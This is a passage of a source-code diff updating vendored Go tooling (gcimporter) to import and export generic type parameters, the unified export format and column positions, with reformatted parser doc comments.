-// func Import(packages map[string]*types.Package, path, srcDir string, lookup func(path string) (io.ReadCloser, error)) (pkg *types.Package, err error) { var rc io.ReadCloser var filename, id string @@ -178,8 +181,9 @@ func Import(packages map[string]*types.Package, path, srcDir string, lookup func defer rc.Close() var hdr string + var size int64 buf := bufio.NewReader(rc) - if hdr, err = FindExportData(buf); err != nil { + if hdr, size, err = FindExportData(buf); err != nil { return } @@ -207,10 +211,27 @@ func Import(packages map[string]*types.Package, path, srcDir string, lookup func // The indexed export format starts with an 'i'; the older // binary export format starts with a 'c', 'd', or 'v' // (from "version"). Select appropriate importer. - if len(data) > 0 && data[0] == 'i' { - _, pkg, err = IImportData(fset, packages, data[1:], id) - } else { - _, pkg, err = BImportData(fset, packages, data, id) + if len(data) > 0 { + switch data[0] { + case 'i': + _, pkg, err := IImportData(fset, packages, data[1:], id) + return pkg, err + + case 'v', 'c', 'd': + _, pkg, err := BImportData(fset, packages, data, id) + return pkg, err + + case 'u': + _, pkg, err := UImportData(fset, packages, data[1:size], id) + return pkg, err + + default: + l := len(data) + if l > 10 { + l = 10 + } + return nil, fmt.Errorf("unexpected export data with prefix %q for path %s", string(data[:l]), id) + } } default: @@ -342,8 +363,9 @@ func (p *parser) expectKeyword(keyword string) { // ---------------------------------------------------------------------------- // Qualified and unqualified names -// PackageId = string_lit . +// parsePackageID parses a PackageId: // +// PackageId = string_lit . func (p *parser) parsePackageID() string { id, err := strconv.Unquote(p.expect(scanner.String)) if err != nil { @@ -357,13 +379,16 @@ func (p *parser) parsePackageID() string { return id } -// PackageName = ident . +// parsePackageName parse a PackageName: // +// PackageName = ident . func (p *parser) parsePackageName() string { return p.expect(scanner.Ident) } -// dotIdentifier = ( ident | '·' ) { ident | int | '·' } . +// parseDotIdent parses a dotIdentifier: +// +// dotIdentifier = ( ident | '·' ) { ident | int | '·' } . func (p *parser) parseDotIdent() string { ident := "" if p.tok != scanner.Int { @@ -380,8 +405,9 @@ func (p *parser) parseDotIdent() string { return ident } -// QualifiedName = "@" PackageId "." ( "?" | dotIdentifier ) . +// parseQualifiedName parses a QualifiedName: // +// QualifiedName = "@" PackageId "." ( "?" | dotIdentifier ) . func (p *parser) parseQualifiedName() (id, name string) { p.expect('@') id = p.parsePackageID() @@ -404,7 +430,6 @@ func (p *parser) parseQualifiedName() (id, name string) { // id identifies a package, usually by a canonical package path like // "encoding/json" but possibly by a non-canonical import path like // "./json". -// func (p *parser) getPkg(id, name string) *types.Package { // package unsafe is not in the packages maps - handle explicitly if id == "unsafe" { @@ -440,7 +465,6 @@ func (p *parser) getPkg(id, name string) *types.Package { // parseExportedName is like parseQualifiedName, but // the package id is resolved to an imported *types.Package. -// func (p *parser) parseExportedName() (pkg *types.Package, name string) { id, name := p.parseQualifiedName() pkg = p.getPkg(id, "") @@ -450,8 +474,9 @@ func (p *parser) parseExportedName() (pkg *types.Package, name string) { // ---------------------------------------------------------------------------- // Types -// BasicType = identifier . +// parseBasicType parses a BasicType: // +// BasicType = identifier . func (p *parser) parseBasicType() types.Type { id := p.expect(scanner.Ident) obj := types.Universe.Lookup(id) @@ -462,8 +487,9 @@ func (p *parser) parseBasicType() types.Type { return nil } -// ArrayType = "[" int_lit "]" Type . +// parseArrayType parses an ArrayType: // +// ArrayType = "[" int_lit "]" Type . func (p *parser) parseArrayType(parent *types.Package) types.Type { // "[" already consumed and lookahead known not to be "]" lit := p.expect(scanner.Int) @@ -476,8 +502,9 @@ func (p *parser) parseArrayType(parent *types.Package) types.Type { return types.NewArray(elem, n) } -// MapType = "map" "[" Type "]" Type . +// parseMapType parses a MapType: // +// MapType = "map" "[" Type "]" Type . func (p *parser) parseMapType(parent *types.Package) types.Type { p.expectKeyword("map") p.expect('[') @@ -487,7 +514,9 @@ func (p *parser) parseMapType(parent *types.Package) types.Type { return types.NewMap(key, elem) } -// Name = identifier | "?" | QualifiedName . +// parseName parses a Name: +// +// Name = identifier | "?" | QualifiedName . // // For unqualified and anonymous names, the returned package is the parent // package unless parent == nil, in which case the returned package is the @@ -499,7 +528,6 @@ func (p *parser) parseMapType(parent *types.Package) types.Type { // it doesn't exist yet) unless materializePkg is set (which creates an // unnamed package with valid package path). In the latter case, a // subsequent import clause is expected to provide a name for the package. -// func (p *parser) parseName(parent *types.Package, materializePkg bool) (pkg *types.Package, name string) { pkg = parent if pkg == nil { @@ -533,8 +561,9 @@ func deref(typ types.Type) types.Type { return typ } -// Field = Name Type [ string_lit ] . +// parseField parses a Field: // +// Field = Name Type [ string_lit ] . func (p *parser) parseField(parent *types.Package) (*types.Var, string) { pkg, name := p.parseName(parent, true) @@ -577,9 +606,10 @@ func (p *parser) parseField(parent *types.Package) (*types.Var, string) { return types.NewField(token.NoPos, pkg, name, typ, anonymous), tag } -// StructType = "struct" "{" [ FieldList ] "}" . -// FieldList = Field { ";" Field } . +// parseStructType parses a StructType: // +// StructType = "struct" "{" [ FieldList ] "}" . +// FieldList = Field { ";" Field } . func (p *parser) parseStructType(parent *types.Package) types.Type { var fields []*types.Var var tags []string @@ -604,8 +634,9 @@ func (p *parser) parseStructType(parent *types.Package) types.Type { return types.NewStruct(fields, tags) } -// Parameter = ( identifier | "?" ) [ "..." ] Type [ string_lit ] . +// parseParameter parses a Parameter: // +// Parameter = ( identifier | "?" ) [ "..." ] Type [ string_lit ] . func (p *parser) parseParameter() (par *types.Var, isVariadic bool) { _, name := p.parseName(nil, false) // remove gc-specific parameter numbering @@ -629,9 +660,10 @@ func (p *parser) parseParameter() (par *types.Var, isVariadic bool) { return } -// Parameters = "(" [ ParameterList ] ")" . -// ParameterList = { Parameter "," } Parameter . +// parseParameters parses a Parameters: // +// Parameters = "(" [ ParameterList ] ")" . +// ParameterList = { Parameter "," } Parameter . func (p *parser) parseParameters() (list []*types.Var, isVariadic bool) { p.expect('(') for p.tok != ')' && p.tok != scanner.EOF { @@ -652,9 +684,10 @@ func (p *parser) parseParameters() (list []*types.Var, isVariadic bool) { return } -// Signature = Parameters [ Result ] . -// Result = Type | Parameters . +// parseSignature parses a Signature: // +// Signature = Parameters [ Result ] . +// Result = Type | Parameters . func (p *parser) parseSignature(recv *types.Var) *types.Signature { params, isVariadic := p.parseParameters() @@ -671,14 +704,15 @@ func (p *parser) parseSignature(recv *types.Var) *types.Signature { return types.NewSignature(recv, types.NewTuple(params...), types.NewTuple(results...), isVariadic) } -// InterfaceType = "interface" "{" [ MethodList ] "}" . -// MethodList = Method { ";" Method } . -// Method = Name Signature . +// parseInterfaceType parses an InterfaceType: +// +// InterfaceType = "interface" "{" [ MethodList ] "}" . +// MethodList = Method { ";" Method } . +// Method = Name Signature . // // The methods of embedded interfaces are always "inlined" // by the compiler and thus embedded interfaces are never // visible in the export data. -// func (p *parser) parseInterfaceType(parent *types.Package) types.Type { var methods []*types.Func @@ -699,8 +733,9 @@ func (p *parser) parseInterfaceType(parent *types.Package) types.Type { return newInterface(methods, nil).Complete() } -// ChanType = ( "chan" [ "<-" ] | "<-" "chan" ) Type . +// parseChanType parses a ChanType: // +// ChanType = ( "chan" [ "<-" ] | "<-" "chan" ) Type . func (p *parser) parseChanType(parent *types.Package) types.Type { dir := types.SendRecv if p.tok == scanner.Ident { @@ -718,17 +753,18 @@ func (p *parser) parseChanType(parent *types.Package) types.Type { return types.NewChan(dir, elem) } -// Type = -// BasicType | TypeName | ArrayType | SliceType | StructType | -// PointerType | FuncType | InterfaceType | MapType | ChanType | -// "(" Type ")" . +// parseType parses a Type: // -// BasicType = ident . -// TypeName = ExportedName . -// SliceType = "[" "]" Type . -// PointerType = "*" Type . -// FuncType = "func" Signature . +// Type = +// BasicType | TypeName | ArrayType | SliceType | StructType | +// PointerType | FuncType | InterfaceType | MapType | ChanType | +// "(" Type ")" . // +// BasicType = ident . +// TypeName = ExportedName . +// SliceType = "[" "]" Type . +// PointerType = "*" Type . +// FuncType = "func" Signature . func (p *parser) parseType(parent *types.Package) types.Type { switch p.tok { case scanner.Ident: @@ -780,16 +816,18 @@ func (p *parser) parseType(parent *types.Package) types.Type { // ---------------------------------------------------------------------------- // Declarations -// ImportDecl = "import" PackageName PackageId . +// parseImportDecl parses an ImportDecl: // +// ImportDecl = "import" PackageName PackageId . func (p *parser) parseImportDecl() { p.expectKeyword("import") name := p.parsePackageName() p.getPkg(p.parsePackageID(), name) } -// int_lit = [ "+" | "-" ] { "0" ... "9" } . +// parseInt parses an int_lit: // +// int_lit = [ "+" | "-" ] { "0" ... "9" } . func (p *parser) parseInt() string { s := "" switch p.tok { @@ -802,8 +840,9 @@ func (p *parser) parseInt() string { return s + p.expect(scanner.Int) } -// number = int_lit [ "p" int_lit ] . +// parseNumber parses a number: // +// number = int_lit [ "p" int_lit ] . func (p *parser) parseNumber() (typ *types.Basic, val constant.Value) { // mantissa mant := constant.MakeFromLiteral(p.parseInt(), token.INT, 0) @@ -838,13 +877,14 @@ func (p *parser) parseNumber() (typ *types.Basic, val constant.Value) { return } -// ConstDecl = "const" ExportedName [ Type ] "=" Literal . -// Literal = bool_lit | int_lit | float_lit | complex_lit | rune_lit | string_lit . -// bool_lit = "true" | "false" . -// complex_lit = "(" float_lit "+" float_lit "i" ")" . -// rune_lit = "(" int_lit "+" int_lit ")" . -// string_lit = `"` { unicode_char } `"` . +// parseConstDecl parses a ConstDecl: // +// ConstDecl = "const" ExportedName [ Type ] "=" Literal . +// Literal = bool_lit | int_lit | float_lit | complex_lit | rune_lit | string_lit . +// bool_lit = "true" | "false" . +// complex_lit = "(" float_lit "+" float_lit "i" ")" . +// rune_lit = "(" int_lit "+" int_lit ")" . +// string_lit = `"` { unicode_char } `"` . func (p *parser) parseConstDecl() { p.expectKeyword("const") pkg, name := p.parseExportedName() @@ -914,8 +954,9 @@ func (p *parser) parseConstDecl() { pkg.Scope().Insert(types.NewConst(token.NoPos, pkg, name, typ0, val)) } -// TypeDecl = "type" ExportedName Type . +// parseTypeDecl parses a TypeDecl: // +// TypeDecl = "type" ExportedName Type . func (p *parser) parseTypeDecl() { p.expectKeyword("type") pkg, name := p.parseExportedName() @@ -933,8 +974,9 @@ func (p *parser) parseTypeDecl() { } } -// VarDecl = "var" ExportedName Type . +// parseVarDecl parses a VarDecl: // +// VarDecl = "var" ExportedName Type . func (p *parser) parseVarDecl() { p.expectKeyword("var") pkg, name := p.parseExportedName() @@ -942,9 +984,10 @@ func (p *parser) parseVarDecl() { pkg.Scope().Insert(types.NewVar(token.NoPos, pkg, name, typ)) } -// Func = Signature [ Body ] . -// Body = "{" ... "}" . +// parseFunc parses a Func: // +// Func = Signature [ Body ] . +// Body = "{" ... "}" . func (p *parser) parseFunc(recv *types.Var) *types.Signature { sig := p.parseSignature(recv) if p.tok == '{' { @@ -961,9 +1004,10 @@ func (p *parser) parseFunc(recv *types.Var) *types.Signature { return sig } -// MethodDecl = "func" Receiver Name Func . -// Receiver = "(" ( identifier | "?" ) [ "*" ] ExportedName ")" . +// parseMethodDecl parses a MethodDecl: // +// MethodDecl = "func" Receiver Name Func . +// Receiver = "(" ( identifier | "?" ) [ "*" ] ExportedName ")" . func (p *parser) parseMethodDecl() { // "func" already consumed p.expect('(') @@ -986,8 +1030,9 @@ func (p *parser) parseMethodDecl() { base.AddMethod(types.NewFunc(token.NoPos, pkg, name, sig)) } -// FuncDecl = "func" ExportedName Func . +// parseFuncDecl parses a FuncDecl: // +// FuncDecl = "func" ExportedName Func . func (p *parser) parseFuncDecl() { // "func" already consumed pkg, name := p.parseExportedName() @@ -995,8 +1040,9 @@ func (p *parser) parseFuncDecl() { pkg.Scope().Insert(types.NewFunc(token.NoPos, pkg, name, typ)) } -// Decl = [ ImportDecl | ConstDecl | TypeDecl | VarDecl | FuncDecl | MethodDecl ] "\n" . +// parseDecl parses a Decl: // +// Decl = [ ImportDecl | ConstDecl | TypeDecl | VarDecl | FuncDecl | MethodDecl ] "\n" . func (p *parser) parseDecl() { if p.tok == scanner.Ident { switch p.lit { @@ -1023,9 +1069,10 @@ func (p *parser) parseDecl() { // ---------------------------------------------------------------------------- // Export -// Export = "PackageClause { Decl } "$$" . -// PackageClause = "package" PackageName [ "safe" ] "\n" . +// parseExport parses an Export: // +// Export = "PackageClause { Decl } "$$" . +// PackageClause = "package" PackageName [ "safe" ] "\n" . func (p *parser) parseExport() *types.Package { p.expectKeyword("package") name := p.parsePackageName() diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/iexport.go b/vendor/golang.org/x/tools/go/internal/gcimporter/iexport.go index d2fc8b6fa..9a4ff329e 100644 --- a/vendor/golang.org/x/tools/go/internal/gcimporter/iexport.go +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/iexport.go @@ -11,6 +11,7 @@ package gcimporter import ( "bytes" "encoding/binary" + "fmt" "go/ast" "go/constant" "go/token" @@ -19,11 +20,11 @@ import ( "math/big" "reflect" "sort" -) + "strconv" + "strings" -// Current indexed export format version. Increase with each format change. -// 0: Go1.11 encoding -const iexportVersion = 0 + "golang.org/x/tools/internal/typeparams" +) // Current bundled export format version. Increase with each format change. // 0: initial implementation @@ -35,31 +36,35 @@ const bundleVersion = 0 // The package path of the top-level package will not be recorded, // so that calls to IImportData can override with a provided package path. func IExportData(out io.Writer, fset *token.FileSet, pkg *types.Package) error { - return iexportCommon(out, fset, false, []*types.Package{pkg}) + return iexportCommon(out, fset, false, iexportVersion, []*types.Package{pkg}) } // IExportBundle writes an indexed export bundle for pkgs to out. func IExportBundle(out io.Writer, fset *token.FileSet, pkgs []*types.Package) error { - return iexportCommon(out, fset, true, pkgs) -} - -func iexportCommon(out io.Writer, fset *token.FileSet, bundle bool, pkgs []*types.Package) (err error) { - defer func() { - if e := recover(); e != nil { - if ierr, ok := e.(internalError); ok { - err = ierr - return + return iexportCommon(out, fset, true, iexportVersion, pkgs) +} + +func iexportCommon(out io.Writer, fset *token.FileSet, bundle bool, version int, pkgs []*types.Package) (err error) { + if !debug { + defer func() { + if e := recover(); e != nil { + if ierr, ok := e.(internalError); ok { + err = ierr + return + } + // Not an internal error; panic again. + panic(e) } - // Not an internal error; panic again. - panic(e) - } - }() + }() + } p := iexporter{ fset: fset, + version: version, allPkgs: map[*types.Package]bool{}, stringIndex: map[string]uint64{}, declIndex: map[types.Object]uint64{}, + tparamNames: map[types.Object]string{}, typIndex: map[types.Type]uint64{}, } if !bundle { @@ -119,7 +124,7 @@ func iexportCommon(out io.Writer, fset *token.FileSet, bundle bool, pkgs []*type if bundle { hdr.uint64(bundleVersion) } - hdr.uint64(iexportVersion) + hdr.uint64(uint64(p.version)) hdr.uint64(uint64(p.strings.Len())) hdr.uint64(dataLen) @@ -136,8 +141,12 @@ func iexportCommon(out io.Writer, fset *token.FileSet, bundle bool, pkgs []*type // non-compiler tools and includes a complete package description // (i.e., name and height). func (w *exportWriter) writeIndex(index map[types.Object]uint64) { + type pkgObj struct { + obj types.Object + name string // qualified name; differs from obj.Name for type params + } // Build a map from packages to objects from that package. - pkgObjs := map[*types.Package][]types.Object{} + pkgObjs := map[*types.Package][]pkgObj{} // For the main index, make sure to include every package that // we reference, even if we're not exporting (or reexporting) @@ -150,7 +159,8 @@ func (w *exportWriter) writeIndex(index map[types.Object]uint64) { } for obj := range index { - pkgObjs[obj.Pkg()] = append(pkgObjs[obj.Pkg()], obj) + name := w.p.exportName(obj) + pkgObjs[obj.Pkg()] = append(pkgObjs[obj.Pkg()], pkgObj{obj, name}) } var pkgs []*types.Package @@ -158,7 +168,7 @@ func (w *exportWriter) writeIndex(index map[types.Object]uint64) { pkgs = append(pkgs, pkg) sort.Slice(objs, func(i, j int) bool { - return objs[i].Name() < objs[j].Name() + return objs[i].name < objs[j].name }) } @@ -175,15 +185,25 @@ func (w *exportWriter) writeIndex(index map[types.Object]uint64) { objs := pkgObjs[pkg] w.uint64(uint64(len(objs))) for _, obj := range objs { - w.string(obj.Name()) - w.uint64(index[obj]) + w.string(obj.name) + w.uint64(index[obj.obj]) } } } +// exportName returns the 'exported' name of an object. It differs from +// obj.Name() only for type parameters (see tparamExportName for details). +func (p *iexporter) exportName(obj types.Object) (res string) { + if name := p.tparamNames[obj]; name != "" { + return name + } + return obj.Name() +} + type iexporter struct { - fset *token.FileSet - out *bytes.Buffer + fset *token.FileSet + out *bytes.Buffer + version int localpkg *types.Package @@ -197,9 +217,21 @@ type iexporter struct { strings intWriter stringIndex map[string]uint64 - data0 intWriter - declIndex map[types.Object]uint64 - typIndex map[types.Type]uint64 + data0 intWriter + declIndex map[types.Object]uint64 + tparamNames map[types.Object]string // typeparam->exported name + typIndex map[types.Type]uint64 + + indent int // for tracing support +} + +func (p *iexporter) trace(format string, args ...interface{}) { + if !trace { + // Call sites should also be guarded, but having this check here allows + // easily enabling/disabling debug trace statements. + return + } + fmt.Printf(strings.Repeat("..", p.indent)+format+"\n", args...) } // stringOff returns the offset of s within the string section. @@ -219,13 +251,16 @@ func (p *iexporter) stringOff(s string) uint64 { // pushDecl adds n to the declaration work queue, if not already present. func (p *iexporter) pushDecl(obj types.Object) { // Package unsafe is known to the compiler and predeclared. - assert(obj.Pkg() != types.Unsafe) + // Caller should not ask us to do export it. + if obj.Pkg() == types.Unsafe { + panic("cannot export package unsafe") + } if _, ok := p.declIndex[obj]; ok { return } - p.declIndex[obj] = ^uint64(0) // mark n present in work queue + p.declIndex[obj] = ^uint64(0) // mark obj present in work queue p.declTodo.pushTail(obj) } @@ -233,10 +268,11 @@ func (p *iexporter) pushDecl(obj types.Object) { type exportWriter struct { p *iexporter - data intWriter - currPkg *types.Package - prevFile string - prevLine int64 + data intWriter + currPkg *types.Package + prevFile string + prevLine int64 + prevColumn int64 } func (w *exportWriter) exportPath(pkg *types.Package) string { @@ -247,6 +283,14 @@ func (w *exportWriter) exportPath(pkg *types.Package) string { } func (p *iexporter) doDecl(obj types.Object) { + if trace { + p.trace("exporting decl %v (%T)", obj, obj) + p.indent++ + defer func() { + p.indent-- + p.trace("=> %s", obj) + }() + } w := p.newWriter() w.setPkg(obj.Pkg(), false) @@ -261,8 +305,24 @@ func (p *iexporter) doDecl(obj types.Object) { if sig.Recv() != nil { panic(internalErrorf("unexpected method: %v", sig)) } - w.tag('F') + + // Function. + if typeparams.ForSignature(sig).Len() == 0 { + w.tag('F') + } else { + w.tag('G') + } w.pos(obj.Pos()) + // The tparam list of the function type is the declaration of the type + // params. So, write out the type params right now. Then those type params + // will be referenced via their type offset (via typOff) in all other + // places in the signature and function where they are used. + // + // While importing the type parameters, tparamList computes and records + // their export name, so that it can be later used when writing the index. + if tparams := typeparams.ForSignature(sig); tparams.Len() > 0 { + w.tparamList(obj.Name(), tparams, obj.Pkg()) + } w.signature(sig) case *types.Const: @@ -271,30 +331,56 @@ func (p *iexporter) doDecl(obj types.Object) { w.value(obj.Type(), obj.Val()) case *types.TypeName: + t := obj.Type() + + if tparam, ok := t.(*typeparams.TypeParam); ok { + w.tag('P') + w.pos(obj.Pos()) + constraint := tparam.Constraint() + if p.version >= iexportVersionGo1_18 { + implicit := false + if iface, _ := constraint.(*types.Interface); iface != nil { + implicit = typeparams.IsImplicit(iface) + } + w.bool(implicit) + } + w.typ(constraint, obj.Pkg()) + break + } + if obj.IsAlias() { w.tag('A') w.pos(obj.Pos()) - w.typ(obj.Type(), obj.Pkg()) + w.typ(t, obj.Pkg()) break } // Defined type. - w.tag('T') + named, ok := t.(*types.Named) + if !ok { + panic(internalErrorf("%s is not a defined type", t)) + } + + if typeparams.ForNamed(named).Len() == 0 { + w.tag('T') + } else { + w.tag('U') + } w.pos(obj.Pos()) + if typeparams.ForNamed(named).Len() > 0 { + // While importing the type parameters, tparamList computes and records + // their export name, so that it can be later used when writing the index. + w.tparamList(obj.Name(), typeparams.ForNamed(named), obj.Pkg()) + } + underlying := obj.Type().Underlying() w.typ(underlying, obj.Pkg()) - t := obj.Type() if types.IsInterface(t) { break } - named, ok := t.(*types.Named) - if !ok { - panic(internalErrorf("%s is not a defined type", t)) - } - n := named.NumMethods() w.uint64(uint64(n)) for i := 0; i < n; i++ { @@ -302,6 +388,17 @@ func (p *iexporter) doDecl(obj types.Object) { w.pos(m.Pos()) w.string(m.Name()) sig, _ := m.Type().(*types.Signature) + + // Receiver type parameters are type arguments of the receiver type, so + // their name must be qualified before exporting recv. + if rparams := typeparams.RecvTypeParams(sig); rparams.Len() > 0 { + prefix := obj.Name() + "." + m.Name() + for i := 0; i < rparams.Len(); i++ { + rparam := rparams.At(i) + name := tparamExportName(prefix, rparam) + w.p.tparamNames[rparam.Obj()] = name + } + } w.param(sig.Recv()) w.signature(sig) } @@ -318,6 +415,48 @@ func (w *exportWriter) tag(tag byte) { } func (w *exportWriter) pos(pos token.Pos) { + if w.p.version >= iexportVersionPosCol { + w.posV1(pos) + } else { + w.posV0(pos) + } +} + +func (w *exportWriter) posV1(pos token.Pos) { + if w.p.fset == nil { + w.int64(0) + return + } + + p := w.p.fset.Position(pos) + file := p.Filename + line := int64(p.Line) + column := int64(p.Column) + + deltaColumn := (column - w.prevColumn) << 1 + deltaLine := (line - w.prevLine) << 1 + + if file != w.prevFile { + deltaLine |= 1 + } + if deltaLine != 0 { + deltaColumn |= 1 + } + + w.int64(deltaColumn) + if deltaColumn&1 != 0 { + w.int64(deltaLine) + if deltaLine&1 != 0 { + w.string(file) + } + } + + w.prevFile = file + w.prevLine = line + w.prevColumn = column +} + +func (w *exportWriter) posV0(pos token.Pos) { if w.p.fset == nil { w.int64(0) return @@ -359,10 +498,11 @@ func (w *exportWriter) pkg(pkg *types.Package) { } func (w *exportWriter) qualifiedIdent(obj types.Object) { + name := w.p.exportName(obj) + // Ensure any referenced declarations are written out too. w.p.pushDecl(obj) - - w.string(obj.Name()) + w.string(name) w.pkg(obj.Pkg()) } @@ -396,11 +536,32 @@ func (w *exportWriter) startType(k itag) { } func (w *exportWriter) doTyp(t types.Type, pkg *types.Package) { + if trace { + w.p.trace("exporting type %s (%T)", t, t) + w.p.indent++ + defer func() { + w.p.indent-- + w.p.trace("=> %s", t) + }() + } switch t := t.(type) { case *types.Named: + if targs := typeparams.NamedTypeArgs(t); targs.Len() > 0 { + w.startType(instanceType) + // TODO(rfindley): investigate if this position is correct, and if it + // matters. + w.pos(t.Obj().Pos()) + w.typeList(targs, pkg) + w.typ(typeparams.NamedTypeOrigin(t), pkg) + return + } w.startType(definedType) w.qualifiedIdent(t.Obj()) + case *typeparams.TypeParam: + w.startType(typeParamType) + w.qualifiedIdent(t.Obj()) + case *types.Pointer: w.startType(pointerType) w.typ(t.Elem(), pkg) @@ -461,9 +622,14 @@ func (w *exportWriter) doTyp(t types.Type, pkg *types.Package) { n := t.NumEmbeddeds() w.uint64(uint64(n)) for i := 0; i < n; i++ { - f := t.Embedded(i) - w.pos(f.Obj().Pos()) - w.typ(f.Obj().Type(), f.Obj().Pkg()) + ft := t.EmbeddedType(i) + tPkg := pkg + if named, _ := ft.(*types.Named); named != nil { + w.pos(named.Obj().Pos()) + } else { + w.pos(token.NoPos) + } + w.typ(ft, tPkg) } n = t.NumExplicitMethods() @@ -476,6 +642,16 @@ func (w *exportWriter) doTyp(t types.Type, pkg *types.Package) { w.signature(sig) } + case *typeparams.Union: + w.startType(unionType) + nt := t.Len() + w.uint64(uint64(nt)) + for i := 0; i < nt; i++ { + term := t.Term(i) + w.bool(term.Tilde()) + w.typ(term.Type(), pkg) + } + default: panic(internalErrorf("unexpected type: %v, %v", t, reflect.TypeOf(t))) } @@ -497,6 +673,56 @@ func (w *exportWriter) signature(sig *types.Signature) { } } +func (w *exportWriter) typeList(ts *typeparams.TypeList, pkg *types.Package) { + w.uint64(uint64(ts.Len())) + for i := 0; i < ts.Len(); i++ { + w.typ(ts.At(i), pkg) + } +} + +func (w *exportWriter) tparamList(prefix string, list *typeparams.TypeParamList, pkg *types.Package) { + ll := uint64(list.Len()) + w.uint64(ll) + for i := 0; i < list.Len(); i++ { + tparam := list.At(i) + // Set the type parameter exportName before exporting its type. + exportName := tparamExportName(prefix, tparam) + w.p.tparamNames[tparam.Obj()] = exportName + w.typ(list.At(i), pkg) + } +} + +const blankMarker = "$" + +// tparamExportName returns the 'exported' name of a type parameter, which +// differs from its actual object name: it is prefixed with a qualifier, and +// blank type parameter names are disambiguated by their index in the type +// parameter list. +func tparamExportName(prefix string, tparam *typeparams.TypeParam) string { + assert(prefix != "") + name := tparam.Obj().Name() + if name == "_" { + name = blankMarker + strconv.Itoa(tparam.Index()) + } + return prefix + "." + name +} + +// tparamName returns the real name of a type parameter, after stripping its +// qualifying prefix and reverting blank-name encoding. See tparamExportName +// for details. +func tparamName(exportName string) string { + // Remove the "path" from the type param name that makes it unique. + ix := strings.LastIndex(exportName, ".") + if ix < 0 { + errorf("malformed type parameter export name %s: missing prefix", exportName) + } + name := exportName[ix+1:] + if strings.HasPrefix(name, blankMarker) { + return "_" + } + return name +} + func (w *exportWriter) paramList(tup *types.Tuple) { n := tup.Len() w.uint64(uint64(n)) @@ -513,6 +739,9 @@ func (w *exportWriter) param(obj types.Object) { func (w *exportWriter) value(typ types.Type, v constant.Value) { w.typ(typ, nil) + if w.p.version >= iexportVersionGo1_18 { + w.int64(int64(v.Kind())) + } switch b := typ.Underlying().(*types.Basic); b.Info() & types.IsConstType { case types.IsBoolean: diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/iimport.go b/vendor/golang.org/x/tools/go/internal/gcimporter/iimport.go index 8ed8bc62d..4caa0f55d 100644 --- a/vendor/golang.org/x/tools/go/internal/gcimporter/iimport.go +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/iimport.go @@ -17,7 +17,11 @@ import ( "go/token" "go/types" "io" + "math/big" "sort" + "strings" + + "golang.org/x/tools/internal/typeparams" ) type intReader struct { @@ -41,6 +45,19 @@ func (r *intReader) uint64() uint64 { return i } +// Keep this in sync with constants in iexport.go. +const ( + iexportVersionGo1_11 = 0 + iexportVersionPosCol = 1 + iexportVersionGo1_18 = 2 + iexportVersionGenerics = 2 +) + +type ident struct { + pkg *types.Package + name string +} + const predeclReserved = 32 type itag uint64 @@ -56,6 +73,9 @@ const ( signatureType structType interfaceType + typeParamType + instanceType + unionType ) // IImportData imports a package from the serialized package data @@ -78,15 +98,19 @@ func IImportBundle(fset *token.FileSet, imports map[string]*types.Package, data func iimportCommon(fset *token.FileSet, imports map[string]*types.Package, data []byte, bundle bool, path string) (pkgs []*types.Package, err error) { const currentVersion = 1 version := int64(-1) - defer func() { - if e := recover(); e != nil { - if version > currentVersion { - err = fmt.Errorf("cannot import %q (%v), export data is newer version - update tool", path, e) - } else { - err = fmt.Errorf("cannot import %q (%v), possibly version skew - reinstall package", path, e) + if !debug { + defer func() { + if e := recover(); e != nil { + if bundle { + err = fmt.Errorf("%v", e) + } else if version > currentVersion { + err = fmt.Errorf("cannot import %q (%v), export data is newer version - update tool", path, e) + } else { + err = fmt.Errorf("cannot import %q (%v), possibly version skew - reinstall package", path, e) + } } - } - }() + }() + } r := &intReader{bytes.NewReader(data), path} @@ -101,9 +125,13 @@ func iimportCommon(fset *token.FileSet, imports map[string]*types.Package, data version = int64(r.uint64()) switch version { - case currentVersion, 0: + case iexportVersionGo1_18, iexportVersionPosCol, iexportVersionGo1_11: default: - errorf("unknown iexport format version %d", version) + if version > iexportVersionGo1_18 { + errorf("unstable iexport format version %d, just rebuild compiler and std library", version) + } else { + errorf("unknown iexport format version %d", version) + } } sLen := int64(r.uint64()) @@ -115,8 +143,8 @@ func iimportCommon(fset *token.FileSet, imports map[string]*types.Package, data r.Seek(sLen+dLen, io.SeekCurrent) p := iimporter{ - ipath: path, version: int(version), + ipath: path, stringData: stringData, stringCache: make(map[uint64]string), @@ -125,12 +153,16 @@ func iimportCommon(fset *token.FileSet, imports map[string]*types.Package, data declData: declData, pkgIndex: make(map[*types.Package]map[string]uint64), typCache: make(map[uint64]types.Type), + // Separate map for typeparams, keyed by their package and unique + // name. + tparamIndex: make(map[ident]types.Type), fake: fakeFileSet{ fset: fset, - files: make(map[string]*token.File), + files: make(map[string]*fileInfo), }, } + defer p.fake.setLines() // set lines for files in fset for i, pt := range predeclared() { p.typCache[uint64(i)] = pt @@ -208,6 +240,15 @@ func iimportCommon(fset *token.FileSet, imports map[string]*types.Package, data pkg.MarkComplete() } + // SetConstraint can't be called if the constraint type is not yet complete. + // When type params are created in the 'P' case of (*importReader).obj(), + // the associated constraint type may not be complete due to recursion. + // Therefore, we defer calling SetConstraint there, and call it here instead + // after all types are complete. + for _, d := range p.later { + typeparams.SetTypeParamConstraint(d.t, d.constraint) + } + for _, typ := range p.interfaceList { typ.Complete() } @@ -215,23 +256,51 @@ func iimportCommon(fset *token.FileSet, imports map[string]*types.Package, data return pkgs, nil } +type setConstraintArgs struct { + t *typeparams.TypeParam + constraint types.Type +} + type iimporter struct { - ipath string version int + ipath string stringData []byte stringCache map[uint64]string pkgCache map[uint64]*types.Package - declData []byte - pkgIndex map[*types.Package]map[string]uint64 - typCache map[uint64]types.Type + declData []byte + pkgIndex map[*types.Package]map[string]uint64 + typCache map[uint64]types.Type + tparamIndex map[ident]types.Type fake fakeFileSet interfaceList []*types.Interface + + // Arguments for calls to SetConstraint that are deferred due to recursive types + later []setConstraintArgs + + indent int // for tracing support +} + +func (p *iimporter) trace(format string, args ...interface{}) { + if !trace { + // Call sites should also be guarded, but having this check here allows + // easily enabling/disabling debug trace statements. + return + } + fmt.Printf(strings.Repeat("..", p.indent)+format+"\n", args...) } func (p *iimporter) doDecl(pkg *types.Package, name string) { + if debug { + p.trace("import decl %s", name) + p.indent++ + defer func() { + p.indent-- + p.trace("=> %s", name) + }() + } // See if we've already imported this declaration. if obj := pkg.Scope().Lookup(name); obj != nil { return @@ -273,7 +342,7 @@ func (p *iimporter) pkgAt(off uint64) *types.Package { } 